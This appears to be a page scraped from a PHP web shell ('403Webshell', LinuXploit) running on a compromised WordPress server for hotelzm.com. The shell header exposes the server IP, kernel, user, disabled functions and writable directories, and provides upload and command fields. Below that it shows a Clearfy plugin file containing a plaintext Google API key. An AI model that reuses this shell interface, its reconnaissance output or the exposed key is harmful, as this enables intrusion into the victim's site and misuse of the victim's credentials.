403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.92
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/hotelzm.com/wp-content/plugins/clearfy/admin/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/hotelzm.com/wp-content/plugins/clearfy/admin/ajax/google-page-speed.php
<?php
/**
 * Ajax plugin configuration
 * @author Webcraftic <wordpress.webraftic@gmail.com>
 * @copyright (c) 2017 Webraftic Ltd
 * @version 1.0
 */

//AIzaSyD85-8Tmp_Ixc43AgqyeLpNZNlGP150LbA

// Exit if accessed directly
if( !defined('ABSPATH') ) {
	exit;
}

add_action('wp_ajax_wclearfy-fetch-google-pagespeed-audit', function () {
	check_ajax_referer('fetch_google_page_speed_audit');

	if( !WCL_Plugin::app()->currentUserCan() ) {
		wp_die(-1);
	}

	$flush_cache = (bool)WCL_Plugin::app()->request->post('flush_cache', false);

	$results = get_transient(WCL_Plugin::app()->getPrefix() . 'fetch_google_page_speed_audits');

	if( !empty($results) ) {
		if( $flush_cache ) {
			delete_transient(WCL_Plugin::app()->getPrefix() . 'fetch_google_page_speed_audits');
		} else {
			wp_send_json_success($results);
		}
	}

	$site_url = get_home_url();

	// Check if plugin is installed in localhost
	if( substr($_SERVER['REMOTE_ADDR'], 0, 4) == '127.' || $_SERVER['REMOTE_ADDR'] == '::1' ) {
		$site_url = 'https://cm-wp.com/';
	}

	$results = [];
	$strategy_arr = array(1 => 'desktop', 2 => 'mobile');

	foreach($strategy_arr as $strategy_id => $strategy_text) {
		$google_page_speed_call = "https://www.googleapis.com/pagespeedonline/v5/runPagespeed?url=" . $site_url . "&key=AIzaSyD85-8Tmp_Ixc43AgqyeLpNZNlGP150LbA&strategy=" . $strategy_text;

		//Fetch data from Google PageSpeed API
		$response = wp_remote_get($google_page_speed_call, array('timeout' => 30));
		$response_code = wp_remote_retrieve_response_code($response);
		$google_ps = json_decode($response['body'], true);

		if( isset($google_ps['error']) ) {
			wp_send_json_error([
				'error' => $google_ps['error']['message'],
				'code' => $google_ps['error']['code']
			]);
		}

		$response_error = null;
		if( is_wp_error($response) ) {
			$response_error = $response;
		} elseif( 200 !== $response_code ) {
			$response_error = new WP_Error('api-error', /* translators: %d: Numeric HTTP status code, e.g. 400, 403, 500, 504, etc. */ sprintf(__('Invalid API response code (%d).'), $response_code));
		}

		if( is_wp_error($response_error) ) {
			wp_send_json_error([
				'error' => $response_error->get_error_message(),
				'code' => $response_error->get_error_code()
			]);
		}

		$results[$strategy_text] = [
			'performance_score' => ($google_ps['lighthouseResult']['categories']['performance']['score'] * 100),
			'first_contentful_paint' => $google_ps['lighthouseResult']['audits']['first-contentful-paint']['displayValue'],
			'speed_index' => $google_ps['lighthouseResult']['audits']['speed-index']['displayValue'],
			'interactive' => $google_ps['lighthouseResult']['audits']['interactive']['displayValue']
		];

		set_transient(WCL_Plugin::app()->getPrefix() . 'fetch_google_page_speed_audits', $results, 201);
	}
	wp_send_json_success($results);
});

add_action('wp_ajax_wclearfy-google-pagespeed-audit-results', function () {
	$get_before_audit_results = WCL_Plugin::app()->getPopulateOption('google_page_speed_audit_before');
	$get_after_audit_results = WCL_Plugin::app()->getPopulateOption('google_page_speed_audit_after');

	$results = [
		'before' => !empty($get_before_audit_results) ? $get_before_audit_results : [
			'fake' => 1,
			'desktop' => [
				'performance_score' => 0,
				'first_contentful_paint' => '??',
				'speed_index' => '??',
				'interactive' => '??'
			],
			'mobile' => [
				'performance_score' => 0,
				'first_contentful_paint' => '??',
				'speed_index' => '??',
				'interactive' => '??'
			],
		],
		'after' => !empty($get_after_audit_results) ? $get_after_audit_results : [
			'fake' => 1,
			'desktop' => [
				'performance_score' => 0,
				'first_contentful_paint' => '??',
				'speed_index' => '??',
				'interactive' => '??'
			],
			'mobile' => [
				'performance_score' => 0,
				'first_contentful_paint' => '??',
				'speed_index' => '??',
				'interactive' => '??'
			]
		]
	];
	wp_send_json_success($results);
});


Youez - 2016 - github.com/yon3zu
LinuXploit